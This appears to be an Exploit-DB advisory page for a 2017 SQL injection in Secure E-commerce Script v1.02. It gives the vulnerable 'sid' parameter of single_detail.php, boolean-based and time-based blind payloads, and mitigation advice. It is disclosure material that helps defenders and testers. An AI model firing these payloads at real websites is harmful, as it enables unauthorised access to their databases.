header-logo
Suggest Exploit
vendor:
Secure E-commerce Script
by:
8bitsec
8,8
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Secure E-commerce Script
Affected Version From: 1.02
Affected Version To: 1.02
Patch Exists: YES
Related CWE: N/A
CPE: a:phpscriptsmall:secure_e-commerce_script:1.02
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Kali Linux 2.0, Mac OS 10.12.6
2017

Secure E-commerce Script v1.02 – SQL Injection

SQL injection on [sid] parameter. Proof of Concept (PoC): SQLi: http://localhost/[path]/single_detail.php?sid=9 AND 5028=5028 Parameter: sid (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: sid=9 AND 5028=5028 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: sid=9 AND SLEEP(5)

Mitigation:

Input validation and sanitization, use of prepared statements (parameterized queries), use of stored procedures, and proper authorization and authentication.
Source

Exploit-DB raw data:

# Exploit Title: Secure E-commerce Script v1.02 - SQL Injection
# Date: 2017-09-22
# Exploit Author: 8bitsec
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.phpscriptsmall.com/product/secure-e-commerce-script/
# Version: 1.02
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-22

Product & Service Introduction:
===============================
Would you like to secure your Shopping Cart Script? We have the readymade solution for Secure Ecommerce Shopping Cart php that is making secure your online transaction.

Technical Details & Description:
================================

SQL injection on [sid] parameter.

Proof of Concept (PoC):
=======================

SQLi:

http://localhost/[path]/single_detail.php?sid=9 AND 5028=5028

Parameter: sid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: sid=9 AND 5028=5028

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: sid=9 AND SLEEP(5)

==================
8bitsec - [https://twitter.com/_8bitsec]